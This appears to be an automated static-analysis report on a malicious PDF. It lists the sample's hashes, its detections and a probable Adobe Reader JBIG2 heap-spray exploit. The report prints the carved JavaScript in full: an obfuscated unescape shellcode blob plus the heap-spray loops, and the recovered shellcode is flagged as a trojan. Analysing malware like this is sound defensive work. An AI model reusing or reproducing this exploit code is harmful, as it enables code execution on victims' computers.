Malicious PDF — malware analysis report

Static analysis result for SHA-256 16992fa47a930368…

MALICIOUS

PDF

7.6 KB First seen: 2013-02-03
MD5: 0452dff6f535b244d67471620c4e72c7 SHA-1: 9754ecd33b4b61e271e7177ef078d15c1544c9d7 SHA-256: 16992fa47a930368db01f5613524190d13740bf6d1e669d169ee1d5da34d32d5
466 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF sample contains obfuscated JavaScript that utilizes the unescape function and is flagged as a heap spray exploit targeting Adobe Reader. This indicates an attempt to execute arbitrary code. The embedded JavaScript is heavily obfuscated, making its precise actions difficult to determine, but the exploit cluster and ClamAV detections strongly suggest malicious intent, likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var lXxkxPCPHioIDcqwjLDBfujFW = "";
  var PBakRmdlQyeprGPkIQlucHGSmkryArzOMuJICyhDrdphlPsa = unescape("%ua9be%u9fb7%uf831%u01a8%u7bd6%ueb12%ub334%u20bf%u67fc%u3cbb%u909b%u4349%u3542%u1579%u2d97%u92b2%u4aba%ub014%u2725%u8d41%u1cb8%u732c%u4f4b%ud469%ub148%u727e%u3778%ub504%u1024%u98fd%ufe80%uc1c7%uf9d3%u8896%ue2d1%u2966%ue0d0%ub940%u4e7d%u7c47%u751d%ue108%u7a71%ue038%u4673%ub1b4%u2d79%ud40b%u9f3c%u91b0%u3d9b%u3bb3%u14e3%u707d%u2f7c%ud687%u3a05%u43fd%u6776%u90bf%ub6b9%u0d99%uf532%u1ca8%u277e%u46ba%ub725%u727f%u3415%u4ebb%u4296%u1398% …
  var EMajXQNNitwImDSJkXeAcWstoDgHPMj = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x235 6043 bytes
SHA-256: 547cf476146c03725b77c11c88963800ed06bb0eff4a09eef0914a62bbf5ee88
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 14 of 19 identifiers look randomly generated (e.g. 'PBakRmdlQyeprGPkIQlucHGSmkryArzOMuJICyhD') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var IWsfdJAjbBTDUjDCdQROUqKSR = "";
		var lXxkxPCPHioIDcqwjLDBfujFW = "";
		var PBakRmdlQyeprGPkIQlucHGSmkryArzOMuJICyhDrdphlPsa = unescape("%ua9be%u9fb7%uf831%u01a8%u7bd6%ueb12%ub334%u20bf%u67fc%u3cbb%u909b%u4349%u3542%u1579%u2d97%u92b2%u4aba%ub014%u2725%u8d41%u1cb8%u732c%u4f4b%ud469%ub148%u727e%u3778%ub504%u1024%u98fd%ufe80%uc1c7%uf9d3%u8896%ue2d1%u2966%ue0d0%ub940%u4e7d%u7c47%u751d%ue108%u7a71%ue038%u4673%ub1b4%u2d79%ud40b%u9f3c%u91b0%u3d9b%u3bb3%u14e3%u707d%u2f7c%ud687%u3a05%u43fd%u6776%u90bf%ub6b9%u0d99%uf532%u1ca8%u277e%u46ba%ub725%u727f%u3415%u4ebb%u4296%u1398%u97d5%u4a3f%u4174%u4fb8%ub2b5%u2b40%uebf6%u8d49%ufc1a%u1d78%u3748%ua947%ube24%ue209%u6604%u2c4b%u0c77%u93b4%u9235%uf803%u7f7b%u7578%uf928%ueb8c%u497d%u8dba%u7672%u3370%ua8d6%u9141%u7e90%ub646%u2797%u3573%u0a74%u3de1%ub71d%u3f79%ufc6b%u7ab1%u004b%u66d5%ub292%u154a%u37bf%u2d67%u34b3%u4f9f%uf502%ubb05%u99b0%ub9a9%u2493%u7798%u4e14%u2c42%u04b8%u257c%ue384%u8347%u71e2%u3943%ubef9%u8148%ud4d2%u7b9b%u2f1c%u3cb5%ue022%ub440%ufd85%u960d%uf886%u0c7f%u4a98%u4078%u30b6%u74fd%u2c3d%ub541%ue118%u467a%u7779%uf72a%u7cd6%u7b73%ud51b%u2db3%uf987%u1549%ua9b0%u6643%u489b%ua8b9%u3170%u39e2%ubbfc%u2793%u2f24%u1875%u47e0%uba9f%u7e96%u9904%ub4be%u7172%u2a3c%u3af8%u30e3%u1dd4%u054e%u4f14%ueb8c%ub135%u768d%u9167%ubf97%uf51b%u4b3f%u3790%u7db2%u1c34%u4225%ub792%u0d0c%u84b8%u75eb%u6b70%u74fc%uf838%u8d90%u9bb1%u33be%ue1d0%u1914%u28e2%u71f5%u2f05%ud522%u2779%u347e%ud612%u3fb2%u1dbf%u43b5%ub60c%u97bb%u9f98%ub74b%u0448%u770d%uf900%u93a8%u7fb4%uba4a%ud389%u4fe3%u41b8%u037a%u49d4%u3c25%u9135%u9266%ue011%u4676%ub996%u737d%u7c37%ufd23%u15a9%u787b%ub367%u4072%u472c%u1cb0%u3d24%u9942%u2d4e%ub866%uf502%u3b7f%u7ceb%u787d%u0479%ubbba%u277e%u2f46%u7475%ube35%ue121%u9740%u912d%u1543%u2472%u4870%u3c92%u2c7a%u9396%uc083%u9fd4%u2b42%ud6d1%u7147%u0d77%ub3b9%u0873%u49e0%u3f14%u67b7%u1cb4%ub14f%ua941%u7b76%ue21a%u983d%u2505%ub090%u85b2%u86fd%u1de3%ubfa8%u8899%u09e0%u69e1%ub5f9%u4e74%u017f%ud5f6%u2075%u8dfc%u3777%ue381%u704a%u7a4b%ud213%u34eb%u0c7e%u9bb6%u0b71%u93f8%uf880%ue229%u9f2c%u799b%uc110%u67d6%u0c7c%uba96%u76d4%u2d34%ub94a%ufc90%u253c%u7d41%ud532%ubff9%ua943%u3d48%u37b5%u7898%u4f27%u998d%u35b4%u9746%u7347%ub615%ub7bb%u92b8%u05be%u240d%u1c1d%u66b2%u4014%u0a72%u4ef5%ufd91%u49b3%u3fb0%u7ba8%ub104%u2f4b%ube42%ua689%ub898%uc8d9%u74d9%uf424%u2958%ub1c9%u8349%u04c0%u7031%u0310%u1070%u536b%u5064%u9ce2%ua195%u1594%u9070%u4286%u81f0%u0016%u2a54%u44dd%ub94d%u4093%u0a62%ub719%u8b4d%u77ac%u4f01%u0baf%u9c58%u350f%ud193%u724e%u1ace%u2b02%u8984%u58b2%u11d8%u8eb3%u2956%uabcb%udea9%ub561%u4ff9%ufdfe%ue4e1%ude58%u2810%u22bb%u455a%ud00f%u8f5d%u195e%uef6c%u240c%ue240%u604d%u1d67%u9a38%ua09b%u593a%u7ee1%u7ccf%uf441%ua577%ud973%u2ee1%u967f%u6866%u299c%u02ab%ua298%uc54a%uf028%uc168%ua271%u5011%u05dc%u822e%ufab8%uc88a%uee2b%u92ac%uc323%u2c82%u4bb4%u5f95%ud486%uc80d%u9daa%u0f8b%ub7cc%u9f6b%u3833%u898b%u6cf7%ua1db%u0cde%u31b0%ud8de%u6216%ub370%ud2d6%u6330%u38be%u5cbf%u42de%uf515%ub874%u3afe%uc220%ud2fa%uc332%u9803%u25bb%uce69%ufeed%u7706%u75b4%u78b6%uf063%uf3f8%u0487%uf3b6%u16e2%uf42f%u45b9%u0be6%ue314%u9e07%ua292%u3650%u9398%u9997%uf663%u10a3%ub9f1%u5cdb%u3a15%u0b1c%u3a7f%ueb74%u69db%uf461%u1df6%u613a%u77f8%u22ee%u7590%u05c9%u853f%u943c%u507c%u1279%ud674%ude69");
		var EMajXQNNitwImDSJkXeAcWstoDgHPMj = "";

		for (rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT=128;rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT>=0;--rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT) EMajXQNNitwImDSJkXeAcWstoDgHPMj += unescape("%u410c%ufc84");
		StcJUMGmGOJMGWFPJwZS = EMajXQNNitwImDSJkXeAcWstoDgHPMj + PBakRmdlQyeprGPkIQlucHGSmkryArzOMuJICyhDrdphlPsa;
		eVToPijxTIfbEPoBMblmdrmQnltYnIKtdgYvmiIGZohXRY = unescape("%u410c%ufc84");
		NLlfSvIpyOECKiaSdgxiVEjgH = 20;
		TmWCYbdTSFoQKXZmJAKwmgbppRiJDZwQmGuvGGKTWJR = NLlfSvIpyOECKiaSdgxiVEjgH+StcJUMGmGOJMGWFPJwZS.length
		while (eVToPijxTIfbEPoBMblmdrmQnltYnIKtdgYvmiIGZohXRY.length<TmWCYbdTSFoQKXZmJAKwmgbppRiJDZwQmGuvGGKTWJR) eVToPijxTIfbEPoBMblmdrmQnltYnIKtdgYvmiIGZohXRY+=eVToPijxTIfbEPoBMblmdrmQnltYnIKtdgYvmiIGZohXRY;
		evFGLBPfRIohIgLVMouzFmkdnWsHPgElWcy = eVToPijxTIfbEPoBMblmdrmQnltYnIKtdgYvmiIGZohXRY.substring(0, TmWCYbdTSFoQKXZmJAKwmgbppRiJDZwQmGuvGGKTWJR);
		FynzsNFAsSAbg = eVToPijxTIfbEPoBMblmdrmQnltYnIKtdgYvmiIGZohXRY.substring(0, eVToPijxTIfbEPoBMblmdrmQnltYnIKtdgYvmiIGZohXRY.length-TmWCYbdTSFoQKXZmJAKwmgbppRiJDZwQmGuvGGKTWJR);
		while(FynzsNFAsSAbg.length+TmWCYbdTSFoQKXZmJAKwmgbppRiJDZwQmGuvGGKTWJR < 0x40000) FynzsNFAsSAbg = FynzsNFAsSAbg+FynzsNFAsSAbg+evFGLBPfRIohIgLVMouzFmkdnWsHPgElWcy;
		GmSZMQvFGtRyhJmzXHzO = new Array();
		for (rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT=0;rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT<100;rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT++) GmSZMQvFGtRyhJmzXHzO[rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT] = FynzsNFAsSAbg + StcJUMGmGOJMGWFPJwZS;

		for (rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT=142;rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT>=0;--rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT) lXxkxPCPHioIDcqwjLDBfujFW += unescape("%ub550%u0166");
		rISjsWLXNmoTjFHmDjfHlEFMYvOazVRMvtrPQ = lXxkxPCPHioIDcqwjLDBfujFW.length + 20
		while (lXxkxPCPHioIDcqwjLDBfujFW.length < rISjsWLXNmoTjFHmDjfHlEFMYvOazVRMvtrPQ) lXxkxPCPHioIDcqwjLDBfujFW += lXxkxPCPHioIDcqwjLDBfujFW;
		cbV = lXxkxPCPHioIDcqwjLDBfujFW.substring(0, rISjsWLXNmoTjFHmDjfHlEFMYvOazVRMvtrPQ);
		DQfmAVvdgHJhMnwaSIwMBYwOYIodMXNXZADuGXGwhRBOC = lXxkxPCPHioIDcqwjLDBfujFW.substring(0, lXxkxPCPHioIDcqwjLDBfujFW.length-rISjsWLXNmoTjFHmDjfHlEFMYvOazVRMvtrPQ);
		while(DQfmAVvdgHJhMnwaSIwMBYwOYIodMXNXZADuGXGwhRBOC.length+rISjsWLXNmoTjFHmDjfHlEFMYvOazVRMvtrPQ < 0x40000) DQfmAVvdgHJhMnwaSIwMBYwOYIodMXNXZADuGXGwhRBOC = DQfmAVvdgHJhMnwaSIwMBYwOYIodMXNXZADuGXGwhRBOC+DQfmAVvdgHJhMnwaSIwMBYwOYIodMXNXZADuGXGwhRBOC+cbV;
		eSUzuXeZ = new Array();
		for (rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT=0;rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT<125;rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT++) eSUzuXeZ[rNwfcqrOfxXKxhomGkoFfELPmqcalWxWKUGkxCMHLLUuT] = DQfmAVvdgHJhMnwaSIwMBYwOYIodMXNXZADuGXGwhRBOC + lXxkxPCPHioIDcqwjLDBfujFW;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x235 1024 bytes
SHA-256: e36f31982efa32ba2a28810d951732adacb70f29ced3540c515e4b2239dfa286
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.